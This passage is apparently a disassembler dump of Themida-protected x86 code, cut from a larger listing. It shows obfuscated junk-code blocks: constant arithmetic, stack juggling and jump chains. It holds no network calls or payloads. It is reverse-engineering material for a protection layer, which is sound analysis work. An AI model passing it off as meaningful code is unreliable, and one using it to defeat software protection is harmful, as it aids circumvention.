loc_562AF8: ; CODE XREF: Themida_:00568D0Ej pop edi pop dword ptr [esp] mov esp, [esp] jmp loc_5672CD ; --------------------------------------------------------------------------- loc_562B04: ; CODE XREF: Themida_:0055F015j xor ecx, ebx pop ebx add ecx, 7CCF31F4h jmp loc_5613EE ; --------------------------------------------------------------------------- loc_562B12: ; CODE XREF: Themida_:0056399Aj pop edi and eax, esi push dword ptr [esp] jmp loc_560706 ; --------------------------------------------------------------------------- loc_562B1D: ; CODE XREF: Themida_:005603BBj pop eax and eax, ebx push dword ptr [esp] pop ebx add esp, 4 or edx, eax shl edx, 1 push 53A5h jmp loc_57156F ; --------------------------------------------------------------------------- loc_562B38: ; CODE XREF: Themida_:0056BE35j mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_562E0D ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl byte ptr [esp], cl pushf jmp loc_55D86D ; --------------------------------------------------------------------------- loc_562B5B: ; CODE XREF: Themida_:0056D0A3j mov [esp], edx push ebx mov bh, 0ECh xor bh, 53h push cx mov cl, 0A5h sub bh, cl pop cx jmp loc_563D79 ; --------------------------------------------------------------------------- loc_562B71: ; CODE XREF: Themida_:0056C5BFj mov edi, 169B030Dh xor ebx, edi pop edi sub edx, 5F2A7A2Eh add edx, ebx add edx, 5F2A7A2Eh mov ebx, [esp] add esp, 4 mov eax, edx pop edx push eax pop esi pop eax jmp loc_55EEC9 ; --------------------------------------------------------------------------- loc_562B9B: ; CODE XREF: Themida_:0056E247j mov ebx, [esp] jmp loc_571A05 ; --------------------------------------------------------------------------- loc_562BA3: ; CODE XREF: Themida_:005604CFj xor dh, 4Ch sub al, dh mov edx, [esp] add esp, 4 push dx mov dl, 0E5h sub al, dl pop dx add al, ch add al, 0E5h push bx jmp loc_56C626 ; --------------------------------------------------------------------------- loc_562BC1: ; CODE XREF: Themida_:00567B4Dj xchg esi, ebp push eax mov eax, 753C3189h jmp loc_563687 ; --------------------------------------------------------------------------- loc_562BCE: ; CODE XREF: Themida_:0056F7AEj pop esi sub ebp, edx push edx mov edx, 2EE134BDh add ebp, edx pop edx pop edx push edi mov edi, 2AB941A1h or edi, 451C3154h dec edi sub edi, 69363B28h dec edi jmp loc_569ACB ; --------------------------------------------------------------------------- loc_562BF4: ; CODE XREF: Themida_:0056F5F9j inc edi jmp loc_56FB29 ; --------------------------------------------------------------------------- loc_562BFA: ; CODE XREF: Themida_:0055EA82j push edx mov edx, 47C21D82h not edx sub edx, 0B83DE279h jmp loc_56445D ; --------------------------------------------------------------------------- loc_562C0D: ; CODE XREF: Themida_:0056A28Dj pop ecx jmp loc_566C92 ; --------------------------------------------------------------------------- loc_562C13: ; CODE XREF: Themida_:0056533Fj not ebp shr ebp, 3 sub ebp, 8E756E0Ch jmp loc_56A390 ; --------------------------------------------------------------------------- loc_562C23: ; CODE XREF: Themida_:00568458j push ebx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 mov ebx, [esp] jmp loc_56B6B8 ; --------------------------------------------------------------------------- loc_562C3C: ; CODE XREF: Themida_:0055DC30j shr ebx, 1 sub ebx, 531455AEh dec ebx jmp loc_55F9A5 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl word ptr [esp], cl pushf jmp loc_56EA1A ; --------------------------------------------------------------------------- loc_562C5A: ; CODE XREF: Themida_:0056E049j pop eax jmp loc_56B19F ; --------------------------------------------------------------------------- loc_562C60: ; CODE XREF: Themida_:005633BAj push edx mov dh, 0ADh jmp loc_568692 ; --------------------------------------------------------------------------- loc_562C68: ; CODE XREF: Themida_:0056C9BCj pop ebp jmp loc_56EA9E ; --------------------------------------------------------------------------- loc_562C6E: ; CODE XREF: Themida_:00569E65j xor dx, [esp] xor [esp], dx xor dx, bx xor bx, dx xor dx, bx xor bx, di xor di, bx xor bx, di not di push small 1F42h mov [esp], bx push small 14D1h mov [esp], di mov bx, [esp] add esp, 2 mov di, [esp] jmp loc_56F40D ; --------------------------------------------------------------------------- loc_562CAB: ; CODE XREF: Themida_:00566134j pop esp push 734Eh mov [esp], edx mov edx, 56C35347h shl edx, 8 shl edx, 7 push ebx mov ebx, 263675DBh sub ebx, 0C2B1DC6h jmp loc_56B204 ; --------------------------------------------------------------------------- loc_562CD0: ; CODE XREF: Themida_:00571BFFj movzx cx, al push small 220Ah mov [esp], cx jmp loc_567B93 ; --------------------------------------------------------------------------- loc_562CE1: ; CODE XREF: Themida_:0056BCEAj add ebx, eax sub ebx, 1C260747h push 243Ch mov [esp], eax push esi push 20B8479Eh jmp loc_56D066 ; --------------------------------------------------------------------------- loc_562CFC: ; CODE XREF: Themida_:00568D6Ej pop ecx add al, 0CDh jmp loc_55DBBF ; --------------------------------------------------------------------------- loc_562D04: ; CODE XREF: Themida_:00568E1Ej push esi jmp loc_57262A ; --------------------------------------------------------------------------- loc_562D0A: ; CODE XREF: Themida_:0055DD80j add edi, 4 jmp loc_56222D ; --------------------------------------------------------------------------- loc_562D12: ; CODE XREF: Themida_:00570996j pop eax add ecx, edx sub ecx, 77DF369Bh pop edx add ecx, 31BF027Dh xor ecx, 0AA546034h sub ebp, 72E342F6h add ebp, ecx add ebp, 72E342F6h pop ecx add ebp, 2 xor ebp, [esp] jmp loc_56FFF2 ; --------------------------------------------------------------------------- loc_562D42: ; CODE XREF: Themida_:005647C4j pop eax jmp loc_57118A ; --------------------------------------------------------------------------- loc_562D48: ; CODE XREF: Themida_:00567AF5j sub eax, edx pop edx jmp loc_56D343 ; --------------------------------------------------------------------------- loc_562D50: ; CODE XREF: Themida_:00562536j push eax jmp loc_56E641 ; --------------------------------------------------------------------------- loc_562D56: ; CODE XREF: Themida_:0056A2BFj add eax, esi pop esi push 4E45h mov [esp], edx jmp loc_566823 ; --------------------------------------------------------------------------- loc_562D66: ; CODE XREF: Themida_:0056ACC9j sub esi, 7F11168Bh jmp loc_56B192 ; --------------------------------------------------------------------------- loc_562D71: ; CODE XREF: Themida_:00561C40j add ecx, ebp mov ebp, [esp] add esp, 4 add ecx, 4 xchg ecx, [esp] mov esp, [esp] jmp loc_56A2D1 ; --------------------------------------------------------------------------- loc_562D8D: ; CODE XREF: Themida_:00560D7Fj mov edx, [esp] add esp, 4 mov ebx, [esp] add esp, 4 sub cl, 72h not cl jmp loc_5657C7 ; --------------------------------------------------------------------------- loc_562DA3: ; CODE XREF: Themida_:00562FCAj add esp, 4 add esi, 4 sub esp, 4 mov [esp], edi mov edi, 2 jmp loc_55F72B ; --------------------------------------------------------------------------- loc_562DBC: ; CODE XREF: Themida_:0056B6E6j mov ebx, [esp] add esp, 4 jmp loc_56D116 ; --------------------------------------------------------------------------- loc_562DCA: ; CODE XREF: Themida_:0056F960j shl ebx, 5 neg ebx xor ebx, 5783885Eh or edx, ebx mov ebx, [esp] add esp, 4 add edx, 2750FF1h push ebx mov ebx, 3E79630Dh sub ebx, 5827B9Ah add ebx, 0D92886Ch or edx, ebx mov ebx, [esp] push ebp mov ebp, esp jmp loc_5648D4 ; --------------------------------------------------------------------------- loc_562E05: ; CODE XREF: Themida_:00561C88j sub esp, 4 jmp loc_567C88 ; --------------------------------------------------------------------------- loc_562E0D: ; CODE XREF: Themida_:00562B47j push 19Ch mov [esp], edx jmp loc_567DCF ; --------------------------------------------------------------------------- loc_562E1A: ; CODE XREF: Themida_:00562735j sub bh, dl mov dx, [esp] add esp, 2 jmp loc_572284 ; --------------------------------------------------------------------------- loc_562E28: ; CODE XREF: Themida_:0056DEF1j mov al, bh mov ch, al pop eax jmp loc_55F01A ; --------------------------------------------------------------------------- loc_562E32: ; CODE XREF: Themida_:00569574j xor [esp], ebp xor ebp, [esp] pop esp mov [esp], esi push edx push 264F298Bh jmp loc_569962 ; --------------------------------------------------------------------------- loc_562E47: ; CODE XREF: Themida_:00571065j xor ecx, ebp pop ebp sub ebp, ecx pop ecx jmp loc_56F24E ; --------------------------------------------------------------------------- loc_562E52: ; CODE XREF: Themida_:00566998j pop eax add esi, eax jmp loc_5685CD ; --------------------------------------------------------------------------- loc_562E5A: ; CODE XREF: Themida_:00570927j mov eax, [esp] add esp, 4 dec ch or ch, 59h shr ch, 6 xor ch, 51h add ch, 0Dh sub bl, ch pop ecx add bl, cl add bl, 5Fh sub bl, 3Eh mov ecx, [esp] jmp loc_564DE7 ; --------------------------------------------------------------------------- loc_562E81: ; CODE XREF: Themida_:0056CDB1j mov eax, [esp] add esp, 4 add eax, 4 add eax, 4 push eax push dword ptr [esp+4] jmp loc_566AAA ; --------------------------------------------------------------------------- loc_562E99: ; CODE XREF: Themida_:0056FB1Aj push eax jmp loc_56032C ; --------------------------------------------------------------------------- loc_562E9F: ; CODE XREF: Themida_:0056E4DFj push ebp push 26A8h jmp loc_566217 ; --------------------------------------------------------------------------- loc_562EAA: ; CODE XREF: Themida_:0056AF62j mov ebx, 0C4C0BF5h sub edx, ebx jmp loc_562008 ; --------------------------------------------------------------------------- loc_562EB6: ; CODE XREF: Themida_:00565FB3j push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] mul cx push small 26F9h mov [esp], dx push ax pushf jmp loc_562350 ; --------------------------------------------------------------------------- loc_562ED4: ; CODE XREF: Themida_:00569CB5j push 7EAAh mov [esp], edx sub esp, 4 mov [esp], ebx push edx mov dl, al push eax mov ah, dl push ecx mov ch, ah mov bl, ch pop ecx pop eax pop edx push ecx push 16A7h mov [esp], eax push ecx mov ch, bl mov ah, ch pop ecx jmp loc_563E22 ; --------------------------------------------------------------------------- loc_562F07: ; CODE XREF: Themida_:0055F2D5j sub esi, ebp jmp loc_56610C ; --------------------------------------------------------------------------- loc_562F0E: ; CODE XREF: Themida_:00568928j mov ecx, esi pop esi jmp loc_55F79D ; --------------------------------------------------------------------------- loc_562F16: ; CODE XREF: Themida_:005611FBj mov [esp], esi mov esi, 3738382Bh push ecx push ebp mov ebp, 4E027154h mov ecx, ebp pop ebp xor esi, ecx jmp loc_56C984 ; --------------------------------------------------------------------------- loc_562F2F: ; CODE XREF: Themida_:0056F539j add ebx, 52A93F8Bh add ebx, eax sub ebx, 52A93F8Bh push edx mov edx, 10A00FB7h neg edx xor edx, 4A975F58h shr edx, 3 sub edx, 3A1E38CDh jmp loc_560050 ; --------------------------------------------------------------------------- loc_562F59: ; CODE XREF: Themida_:0055FC30j push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], eax mov eax, 2 jmp loc_5695FF ; --------------------------------------------------------------------------- loc_562F76: ; CODE XREF: Themida_:005643DEj pop esi add esi, eax mov eax, [esp] add esp, 4 xchg esi, [esp] mov esp, [esp] jmp loc_5608E8 ; --------------------------------------------------------------------------- loc_562F8D: ; CODE XREF: Themida_:00570D01j push dword ptr [esp] mov eax, [esp] jmp loc_56074A ; --------------------------------------------------------------------------- loc_562F98: ; CODE XREF: Themida_:00560D02j not esi add esi, 5C507B95h push edx mov edx, 0D7D16BC9h add esi, edx pop edx sub ecx, esi pop esi push edx jmp loc_57121B ; --------------------------------------------------------------------------- loc_562FB2: ; CODE XREF: Themida_:00568452j push esi mov esi, 6ACD1DCEh sub esp, 4 mov [esp], ebx jmp loc_5642CF ; --------------------------------------------------------------------------- loc_562FC6: ; CODE XREF: Themida_:0056E87Bj push esp mov esi, [esp] jmp loc_562DA3 ; --------------------------------------------------------------------------- loc_562FCF: ; CODE XREF: Themida_:0055F12Ej pop eax jmp loc_565210 ; --------------------------------------------------------------------------- loc_562FD5: ; CODE XREF: Themida_:0056D436j sub ebp, 59D92505h mov edi, [esp] add esp, 4 xchg ebp, [esp] jmp loc_564D4F ; --------------------------------------------------------------------------- loc_562FE9: ; CODE XREF: Themida_:0055DB44j pop esp mov [esp], esp add dword ptr [esp], 4 pop eax jmp loc_55E4F3 ; --------------------------------------------------------------------------- loc_562FFA: ; CODE XREF: Themida_:0056E1B8j add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], edx push esi mov esi, 691B1BC4h push eax mov eax, esi mov edx, eax pop eax pop esi jmp loc_56B83D ; --------------------------------------------------------------------------- mov ax, [esp] push ecx push 7E25h mov [esp], esp add dword ptr [esp], 4 pop ecx sub esp, 4 mov [esp], edi push ebx mov ebx, 239443F6h mov edi, ebx pop ebx jmp loc_561D1F ; --------------------------------------------------------------------------- loc_563048: ; CODE XREF: Themida_:005685D5j push esi mov esi, 2 jmp loc_564391 ; --------------------------------------------------------------------------- loc_563053: ; CODE XREF: Themida_:0056E0C7j push edx mov edx, 379547D1h not edx xor edx, 5DF76E21h jmp loc_561986 ; --------------------------------------------------------------------------- loc_563066: ; CODE XREF: Themida_:0056D415j mov [esp], ecx jmp loc_5611CB ; --------------------------------------------------------------------------- loc_56306E: ; CODE XREF: Themida_:0056F15Fj pop edi sub ebx, 1 xor ebx, 1E360D1Fh mov ebp, ebx pop ebx add ebp, 0AD889A74h mov eax, ebp pop ebp sub ecx, 2E4E4A38h sub ecx, eax jmp loc_5622C1 ; --------------------------------------------------------------------------- loc_563094: ; CODE XREF: Themida_:0056C204j mov al, cl mov ecx, [esp] add esp, 4 jmp loc_560D44 ; --------------------------------------------------------------------------- loc_5630A4: ; CODE XREF: Themida_:00561D63j push 0 add dword ptr [esp], 79612D56h sub [esp], esi sub dword ptr [esp], 79612D56h pop esi xor esi, 0F43DD3FDh push edi mov edi, 713F7E13h sub esi, edi mov edi, [esp] add esp, 4 shl esi, 8 push edi push ecx mov ecx, 0F88AAD00h jmp loc_56970A ; --------------------------------------------------------------------------- mov eax, [esp] jmp loc_561BFF ; --------------------------------------------------------------------------- loc_5630E6: ; CODE XREF: Themida_:00563AFAj mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp jmp loc_566FB8 ; --------------------------------------------------------------------------- loc_5630FD: ; CODE XREF: Themida_:0056D366j xor bl, 74h xchg ch, bl not ch xchg ch, bl push ax push ebx jmp loc_565F8D ; --------------------------------------------------------------------------- loc_56310E: ; CODE XREF: Themida_:0056A6D3j add bl, 2Bh sub bl, ch jmp loc_566C76 ; --------------------------------------------------------------------------- loc_563118: ; CODE XREF: Themida_:0055F441j xor [esp], esi jmp loc_56E19D ; --------------------------------------------------------------------------- loc_563120: ; CODE XREF: Themida_:0055F0F8j sub eax, esi jmp loc_5688D7 ; --------------------------------------------------------------------------- loc_563127: ; CODE XREF: Themida_:0057002Dj mov [esp], ebp jmp loc_56794F ; --------------------------------------------------------------------------- loc_56312F: ; CODE XREF: Themida_:0056AF7Ej xchg esi, [esp] pop esp push dword ptr [ebx] push dword ptr [esp] pop ecx add esp, 4 jmp loc_56DD19 ; --------------------------------------------------------------------------- loc_563141: ; CODE XREF: Themida_:0056730Bj pop ecx xor ebp, [esp] jmp loc_56E131 ; --------------------------------------------------------------------------- loc_56314A: ; CODE XREF: Themida_:00565110j sub esp, 4 mov [esp], esp jmp loc_56E7BF ; --------------------------------------------------------------------------- loc_563158: ; CODE XREF: Themida_:0056B40Fj xchg edi, [esp] mov esp, [esp] jmp loc_568C33 ; --------------------------------------------------------------------------- loc_563163: ; CODE XREF: Themida_:0056C986j mov ecx, 32B666CCh shr ecx, 1 sub ecx, 0CA025F05h jmp loc_55E623 ; --------------------------------------------------------------------------- loc_563175: ; CODE XREF: Themida_:005686D6j mov [esp], eax mov eax, 78167145h or eax, 61161031h neg eax not eax sub eax, 17027324h shl eax, 6 push edi mov edi, 0ACADFB3Dh xor eax, edi jmp loc_55EA0D ; --------------------------------------------------------------------------- loc_56319B: ; CODE XREF: Themida_:00564F27j xor edi, esi pop esi sub edx, edi mov edi, [esp] add esp, 4 push edx push eax mov eax, 589769BEh mov edx, 0C959E6D1h add edx, eax jmp loc_560B82 ; --------------------------------------------------------------------------- loc_5631BC: ; CODE XREF: Themida_:005690DAj push ebx mov ebx, 36474260h xor ebp, ebx pop ebx sub esp, 4 mov [esp], ecx mov ecx, 69B24264h neg ecx shl ecx, 8 add ecx, 0E745A36Eh not ecx inc ecx sub ecx, 0EECCA666h add ebp, 580E3B13h add ebp, ecx sub ebp, 580E3B13h pop ecx push edx mov edx, ebp mov eax, edx pop edx pop ebp not eax push ebp mov ebp, 4B624FE7h push 21BDh jmp loc_55E80C ; --------------------------------------------------------------------------- loc_56320C: ; CODE XREF: Themida_:0056F31Dj mov ecx, [esp] push eax mov eax, esp push ecx mov ecx, 4 add eax, ecx pop ecx jmp loc_565543 ; --------------------------------------------------------------------------- loc_563220: ; CODE XREF: Themida_:00570965j pop esp loc_563221: ; CODE XREF: Themida_:00560697j push 4EF5h mov [esp], esi push ebx mov esi, [esp] add esp, 4 jmp loc_56BD2F ; --------------------------------------------------------------------------- loc_563235: ; CODE XREF: Themida_:0056A638j add eax, 4 add eax, 2 push eax push dword ptr [esp+4] mov eax, [esp] add esp, 4 pop dword ptr [esp] pop esp jmp loc_5650BD ; --------------------------------------------------------------------------- loc_563251: ; CODE XREF: Themida_:0056C8DCj pop ebx loc_563252: ; CODE XREF: Themida_:0056A013j push 4E5Eh jmp loc_564A69 ; --------------------------------------------------------------------------- loc_56325C: ; CODE XREF: Themida_:005704E1j mov eax, 184A46C2h sub edx, 2E206C03h sub edx, eax add edx, 2E206C03h pop eax add edx, ebp jmp loc_560B88 ; --------------------------------------------------------------------------- loc_563277: ; CODE XREF: Themida_:00569B82j pop esp add esp, 4 jmp loc_5659A5 ; --------------------------------------------------------------------------- loc_563283: ; CODE XREF: Themida_:0057197Aj add esp, 4 add bl, 3Eh jmp loc_565F3F ; --------------------------------------------------------------------------- loc_563291: ; CODE XREF: Themida_:0056AEE9j add esp, 4 xor edx, edx push ebx add dword ptr [esp], 32065194h push dword ptr [esp] jmp loc_5632AC ; --------------------------------------------------------------------------- loc_5632A6: ; CODE XREF: Themida_:005719D6j push ebx jmp loc_5709AB ; --------------------------------------------------------------------------- loc_5632AC: ; CODE XREF: Themida_:005632A1j push dword ptr [esp] pop eax push 31E5h mov [esp], edx jmp loc_5692A1 ; --------------------------------------------------------------------------- loc_5632BD: ; CODE XREF: Themida_:00564E56j pop eax push 7104h mov [esp], ecx jmp loc_55F75D ; --------------------------------------------------------------------------- loc_5632CB: ; CODE XREF: Themida_:005704F5j push 75CDh mov [esp], edi mov edi, 4 add ebx, edi mov edi, [esp] add esp, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] mov eax, [esp] push 515Eh jmp loc_572695 ; --------------------------------------------------------------------------- loc_5632FC: ; CODE XREF: Themida_:0056E54Fj add eax, 108E2D14h add eax, ecx sub eax, 108E2D14h pop ecx sub esi, 10FF5854h sub esi, eax add esi, 10FF5854h pop eax push 24B0h jmp loc_565422 ; --------------------------------------------------------------------------- loc_563322: ; CODE XREF: Themida_:0056A659j push small 6543h mov [esp], cx movzx cx, al jmp loc_561382 ; --------------------------------------------------------------------------- loc_563333: ; CODE XREF: Themida_:005603C9j mov [esp], edi mov edi, 228A7F2Bh push 1FEB4B47h jmp loc_569435 ; --------------------------------------------------------------------------- loc_563345: ; CODE XREF: Themida_:00566200j mov esi, 629510E7h push edi mov edi, 520F4E77h jmp loc_560A0B ; --------------------------------------------------------------------------- loc_563355: ; CODE XREF: Themida_:00567B00j sub ebp, 25023E5Ch add ebp, edx add ebp, 25023E5Ch mov edx, [esp] add esp, 4 shr ebp, 7 sub ebp, 0E1BA4A93h jmp loc_56FFE4 ; --------------------------------------------------------------------------- loc_563377: ; CODE XREF: Themida_:0056F547j xor al, bh jmp loc_55D8EC ; --------------------------------------------------------------------------- loc_56337E: ; CODE XREF: Themida_:0056E719j add ebx, 4 xchg ebx, [esp] pop esp sub esp, 4 jmp loc_55EAB2 ; --------------------------------------------------------------------------- loc_563390: ; CODE XREF: Themida_:005629A9j not edi sub edi, 0FFFFFFFFh jmp loc_569176 ; --------------------------------------------------------------------------- loc_56339D: ; CODE XREF: Themida_:00561802j sub ebx, 495D6B9Eh mov eax, [esp] add esp, 4 jmp loc_55D86D ; --------------------------------------------------------------------------- loc_5633B1: ; CODE XREF: Themida_:0056F9A3j add bl, 23h add bl, dh sub bl, 23h pop edx jmp loc_562C60 ; --------------------------------------------------------------------------- loc_5633BF: ; CODE XREF: Themida_:0056016Dj pop esi push ebp jmp loc_55F83D ; --------------------------------------------------------------------------- loc_5633C6: ; CODE XREF: Themida_:005639C8j pop ecx add esp, 4 push ebp push 5E5Bh mov [esp], esp add dword ptr [esp], 4 jmp loc_5689BA ; --------------------------------------------------------------------------- loc_5633DF: ; CODE XREF: Themida_:00562296j sub dword ptr [esp+4], 1F7B3247h pop ebp pop ecx add ecx, 4 push eax jmp loc_55E985 ; --------------------------------------------------------------------------- loc_5633F5: ; CODE XREF: Themida_:00560A2Dj mov bh, ch mov ecx, [esp] add esp, 4 push ecx mov ch, 7Ch not ch jmp loc_56BED6 ; --------------------------------------------------------------------------- loc_56340A: ; CODE XREF: Themida_:005682FCj shl eax, 4 jmp loc_56F93A ; --------------------------------------------------------------------------- loc_563412: ; CODE XREF: Themida_:00570472j sub ebx, 670E7373h shr ebx, 7 or ebx, 2CE96401h jmp loc_563FB5 ; --------------------------------------------------------------------------- loc_563426: ; CODE XREF: Themida_:00571F2Fj sub edi, 4 xchg edi, [esp] jmp loc_56C067 ; --------------------------------------------------------------------------- loc_563431: ; CODE XREF: Themida_:0056FB24j and ebx, 5DBB7A5Ch shr ebx, 4 jmp loc_55F29D ; --------------------------------------------------------------------------- loc_56343F: ; CODE XREF: Themida_:00563520j mov esi, [esp] add esp, 4 add edi, 2 xchg edi, [esp] pop esp jmp loc_566103 ; --------------------------------------------------------------------------- loc_563457: ; CODE XREF: Themida_:0055FF1Aj shl ecx, 1 inc ecx and ecx, 27F67D33h push ebp mov ebp, 0E0B81B00h add ecx, ebp pop ebp sub ebx, ecx jmp loc_56E1FB ; --------------------------------------------------------------------------- loc_563470: ; CODE XREF: Themida_:0056E1F6j push esp pop dword ptr [esp] add dword ptr [esp], 4 pop ebx jmp loc_56B8A0 ; --------------------------------------------------------------------------- loc_56347E: ; CODE XREF: Themida_:005617A0j mov ebx, [esp] add esp, 4 shl al, 3 jmp loc_56622A ; --------------------------------------------------------------------------- mov ax, [esp] push ebx jmp loc_55D8F8 ; --------------------------------------------------------------------------- loc_563499: ; CODE XREF: Themida_:0056A949j push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp mov [esp], ecx jmp loc_5627A6 ; --------------------------------------------------------------------------- loc_5634AA: ; CODE XREF: Themida_:00565FF0j mov dl, ch mov bh, dl pop edx pop ecx push ebp mov ebp, esp jmp loc_563A55 ; --------------------------------------------------------------------------- loc_5634B8: ; CODE XREF: Themida_:0056DED0j sub edi, ecx pop ecx shr edi, 2 dec edi neg edi jmp loc_570AEF ; --------------------------------------------------------------------------- loc_5634C6: ; CODE XREF: Themida_:005650F8j pop eax pop dword ptr [esp] mov esp, [esp] jmp loc_55EC26 ; --------------------------------------------------------------------------- loc_5634D2: ; CODE XREF: Themida_:0056B1A1j pop ecx xor ebx, eax push dword ptr [eax] jmp loc_55D86D ; --------------------------------------------------------------------------- loc_5634DC: ; CODE XREF: Themida_:005699FEj and eax, edx push dword ptr [esp] mov edx, [esp] jmp loc_571FDE ; --------------------------------------------------------------------------- loc_5634E9: ; CODE XREF: Themida_:0056E311j push esp pop ecx push edx mov edx, 4 jmp loc_56F695 ; --------------------------------------------------------------------------- loc_5634F6: ; CODE XREF: Themida_:0056D8DAj mov ebp, 62625EC3h add ecx, ebp push dword ptr [esp] pop ebp jmp loc_569035 ; --------------------------------------------------------------------------- loc_563506: ; CODE XREF: Themida_:00561E77j push edx add dword ptr [esp], 16882EE4h pop esi sub esi, 16882EE4h pop edx neg esi sub esi, 0A0F9DBD1h add edi, esi jmp loc_56343F ; --------------------------------------------------------------------------- loc_563525: ; CODE XREF: Themida_:005625CBj pop ebp sub ebx, 749A13B5h add ebx, eax push esi jmp loc_56A090 ; --------------------------------------------------------------------------- loc_563534: ; CODE XREF: Themida_:0057261Dj xor ebp, [esp] jmp loc_561A83 ; --------------------------------------------------------------------------- loc_56353C: ; CODE XREF: Themida_:00560F95j mov [esp], edx mov edx, 36331CA9h add edx, 63514E5h add eax, edx pop edx push edx mov edx, 44427399h sub eax, edx pop edx push edx push ecx push 71984CEAh push dword ptr [esp] jmp loc_57099B ; --------------------------------------------------------------------------- loc_563565: ; CODE XREF: Themida_:005713E7j mov ebp, esp jmp loc_560ACD ; --------------------------------------------------------------------------- loc_56356C: ; CODE XREF: Themida_:0057129Bj push esi jmp loc_56B6FF ; --------------------------------------------------------------------------- loc_563572: ; CODE XREF: Themida_:0056D6BCj push esp pop eax add eax, 4 sub eax, 4 jmp loc_56B93D ; --------------------------------------------------------------------------- mov cx, [esp] push esi sub esp, 4 mov [esp], esp jmp loc_55F1D5 ; --------------------------------------------------------------------------- loc_563593: ; CODE XREF: Themida_:00565389j pop dword ptr [esp] mov esp, [esp] dec word ptr [esp] pushf jmp loc_55D86D ; --------------------------------------------------------------------------- loc_5635A3: ; CODE XREF: Themida_:00560996j push ecx jmp loc_565384 ; --------------------------------------------------------------------------- loc_5635A9: ; CODE XREF: Themida_:0056841Cj add ecx, eax jmp loc_564D3D ; --------------------------------------------------------------------------- loc_5635B0: ; CODE XREF: Themida_:005612D9j add edi, esi add edi, 9717AB3h pop esi add edi, 4 push 22DBh mov [esp], edi mov edi, esp push ecx mov ecx, 69371FDAh sub ecx, 69371FD6h add edi, ecx pop ecx sub edi, 4 xchg edi, [esp] mov esp, [esp] mov [esp], edi push dword ptr [esp+4] jmp loc_563F9C ; --------------------------------------------------------------------------- loc_5635ED: ; CODE XREF: Themida_:00566273j sub edi, ebp pop ebp pop edx xchg edi, [esp] pop esp push esi push esp pop esi add esi, 4 sub esi, 4 xchg esi, [esp] mov esp, [esp] mov [esp], ebx push esp jmp loc_56A442 ; --------------------------------------------------------------------------- loc_563613: ; CODE XREF: Themida_:0056AEB1j sub esp, 4 jmp loc_56DCCE ; --------------------------------------------------------------------------- loc_56361B: ; CODE XREF: Themida_:0055F298j xor [esp], eax xor eax, [esp] mov esp, [esp] ror byte ptr [esp], cl pushf jmp loc_55D86D ; --------------------------------------------------------------------------- loc_56362D: ; CODE XREF: Themida_:0056FB0Fj mov eax, 2D7B6E37h mov esi, 2D7B6E39h sub esi, eax pop eax add ebx, 0DDC1FD5h sub ebx, 53D3525Ah add ebx, esi jmp loc_566847 ; --------------------------------------------------------------------------- loc_56364D: ; CODE XREF: Themida_:005640A9j xor eax, esi pop esi dec eax jmp loc_56892D ; --------------------------------------------------------------------------- loc_563656: ; CODE XREF: Themida_:00572232j push esi push ebx mov ebx, 6F381B5Ch mov esi, 0EB536ABBh sub esi, ebx jmp loc_56586B ; --------------------------------------------------------------------------- loc_563669: ; CODE XREF: Themida_:00567D27j pop edx add esp, 4 pop dword ptr [esp] jmp loc_55F332 ; --------------------------------------------------------------------------- mov cx, [esp] push 1EC8h mov [esp], ecx push esp jmp loc_564EE9 ; --------------------------------------------------------------------------- loc_563687: ; CODE XREF: Themida_:00562BC9j xor ebp, eax jmp loc_565D55 ; --------------------------------------------------------------------------- loc_56368E: ; CODE XREF: Themida_:0056CA82j mov [esp], edi jmp loc_566701 ; --------------------------------------------------------------------------- loc_563696: ; CODE XREF: Themida_:00566842j pop ebx mov [edi+24h], ecx pop ecx push dword ptr [edi+24h] push edx pop dword ptr [edi+24h] jmp loc_565CE9 ; --------------------------------------------------------------------------- loc_5636A7: ; CODE XREF: Themida_:0056228Dj xor ebp, 6860067Fh jmp loc_561D01 ; --------------------------------------------------------------------------- loc_5636B2: ; CODE XREF: Themida_:0055FF54j xor esi, edi pop edi push ebx push eax jmp loc_561D35 ; --------------------------------------------------------------------------- loc_5636BC: ; CODE XREF: Themida_:0056AA6Dj add ebp, edx jmp loc_56B865 ; --------------------------------------------------------------------------- loc_5636C3: ; CODE XREF: Themida_:00561B97j mov edi, 58B34111h mov ecx, 52255293h sub ecx, edi pop edi add ecx, edi pop edi xor ebp, ecx jmp loc_56DF4E ; --------------------------------------------------------------------------- loc_5636DA: ; CODE XREF: Themida_:005717C0j pop ebp pop edx jmp loc_560BF9 ; --------------------------------------------------------------------------- loc_5636E1: ; CODE XREF: Themida_:00566B05j push 4C97h mov [esp], ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] mov esp, [esp] jmp loc_55D86D ; --------------------------------------------------------------------------- loc_563702: ; CODE XREF: Themida_:0056EA58j add ebx, edi pop edi add ecx, ebx pop ebx xchg ecx, [esp] jmp loc_55DCCE ; --------------------------------------------------------------------------- loc_563710: ; CODE XREF: Themida_:00563951j mov [esp], ebp jmp loc_562861 ; --------------------------------------------------------------------------- loc_563718: ; CODE XREF: Themida_:0056F5DAj mov esp, [esp] or edx, eax shl edx, 1 push 27ADh mov [esp], edx sub esp, 4 mov [esp], ebx mov ebx, 0FFFFFFFFh sub esp, 4 mov [esp], edi mov edi, ebx mov edx, edi pop edi mov ebx, [esp] add esp, 4 sub [edi+24h], edx push dword ptr [esp] jmp loc_5658B9 ; --------------------------------------------------------------------------- loc_563754: ; CODE XREF: Themida_:0056F76Fj add edi, ebx pop ebx jmp loc_5621D7 ; --------------------------------------------------------------------------- loc_56375C: ; CODE XREF: Themida_:0056875Cj add dh, 0F5h or bl, dh pop edx add bl, 0C7h sub al, bl pop ebx jmp loc_56CA96 ; --------------------------------------------------------------------------- loc_56376D: ; CODE XREF: Themida_:00567FABj push esp mov esi, [esp] add esp, 4 add esi, 4 push eax jmp loc_5643C9 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], edi push 6E77h jmp loc_571C95 ; 